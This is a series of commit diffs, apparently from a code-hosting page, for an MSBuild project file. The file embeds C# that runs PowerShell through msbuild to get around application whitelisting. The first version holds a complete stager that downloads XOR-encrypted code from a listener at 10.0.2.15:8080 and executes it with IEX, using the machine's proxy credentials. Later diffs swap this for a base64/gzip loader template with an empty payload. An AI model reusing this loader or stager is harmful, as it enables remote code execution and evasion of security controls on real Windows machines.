robpotter89 · July 16, 2021 21:25 · Mar 13, 2019 · Mar 13, 2019 · Mar 13, 2019 · Mar 13, 2019
diff --git a/template.txt b/template.txt
@@ -26,7 +26,7 @@
 			using Microsoft.Build.Utilities;							
 			public class QWEridxnaPO :  Task, ITask {
 				public override bool Execute() {
-					string pok = "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''));IEX (New-Object IO.StreamReader(New_Objrect IO.Compression.Gzip))";
+					string pok = "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''));IEX (New-Object IO.StreamReader(New_Object IO.Compression.GzipStream($s,[IO.Compressio.CompressionMode]::Decompress))).ReadToEnd()";
 					Runspace runspace = RunspaceFactory.CreateRunspace();
 					runspace.Open();
 					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);

diff --git a/template.txt b/template.txt
@@ -26,7 +26,7 @@
 			using Microsoft.Build.Utilities;							
 			public class QWEridxnaPO :  Task, ITask {
 				public override bool Execute() {
-					string pok = "$WC=NeW-OBJecT SyStem.NET.WEbCLIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeAders.ADd('User-Agent',$u);$Wc.ProxY = [SYsTem.NET.WEBREQUesT]::DEFAuLtWebPRoxy;$WC.PROxY.CrEdentIalS = [SYSteM.Net.CreDentialCACHe]::DEFAulTNETWOrkCrEdEnTialS;$K='daf00538a3dfee3f25671a3f9d076377';$i=0;[Char[]]$B=([char[]]($Wc.DownLoADSTriNG('http://10.0.2.15:8080/index.asp')))|%{$_-bXoR$K[$I++%$K.LENGTH]};IEX ($b-joiN'')";
+					string pok = "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''));IEX (New-Object IO.StreamReader(New_Objrect IO.Compression.Gzip))";
 					Runspace runspace = RunspaceFactory.CreateRunspace();
 					runspace.Open();
 					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);

diff --git a/cPower.txt → template.txt b/cPower.txt → template.txt
diff --git a/cPower.txt b/cPower.txt
@@ -1,7 +1,7 @@
 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- Pass xml to msbuild for compile and execution -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm -->
- <!-- Configure AssemblyFile and poc for that to work -->
+ <!-- Configure AssemblyFile and pok for that to work -->
   <Target Name="34rfas">
    <QWEridxnaPO />
   </Target>

diff --git a/cPower.txt b/cPower.txt
@@ -1,6 +1,7 @@
 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <!-- Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
- <!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee  -->
+ <!-- Pass xml to msbuild for compile and execution -->
+ <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm -->
+ <!-- Configure AssemblyFile and poc for that to work -->
   <Target Name="34rfas">
    <QWEridxnaPO />
   </Target>

diff --git a/cPower.txt b/cPower.txt
@@ -0,0 +1,43 @@
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <!-- Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
+ <!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee  -->
+  <Target Name="34rfas">
+   <QWEridxnaPO />
+  </Target>
+	<UsingTask
+    TaskName="QWEridxnaPO"
+    TaskFactory="CodeTaskFactory"
+    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
+	<Task>
+	  <Reference Include="System.Management.Automation" />
+      <Code Type="Class" Language="cs">
+        <![CDATA[		
+			using System;
+			using System.IO;
+			using System.Diagnostics;
+			using System.Reflection;
+			using System.Runtime.InteropServices;
+			using System.Collections.ObjectModel;
+			using System.Management.Automation;
+			using System.Management.Automation.Runspaces;
+			using System.Text;
+			using Microsoft.Build.Framework;
+			using Microsoft.Build.Utilities;							
+			public class QWEridxnaPO :  Task, ITask {
+				public override bool Execute() {
+					string pok = "$WC=NeW-OBJecT SyStem.NET.WEbCLIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeAders.ADd('User-Agent',$u);$Wc.ProxY = [SYsTem.NET.WEBREQUesT]::DEFAuLtWebPRoxy;$WC.PROxY.CrEdentIalS = [SYSteM.Net.CreDentialCACHe]::DEFAulTNETWOrkCrEdEnTialS;$K='daf00538a3dfee3f25671a3f9d076377';$i=0;[Char[]]$B=([char[]]($Wc.DownLoADSTriNG('http://10.0.2.15:8080/index.asp')))|%{$_-bXoR$K[$I++%$K.LENGTH]};IEX ($b-joiN'')";
+					Runspace runspace = RunspaceFactory.CreateRunspace();
+					runspace.Open();
+					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
+					Pipeline pipeline = runspace.CreatePipeline();
+					pipeline.Commands.AddScript(pok);
+					pipeline.Invoke();
+					runspace.Close();			
+					return true;
+				}								 
+			}			
+        ]]>
+      </Code>
+    </Task>
+  </UsingTask>
+</Project>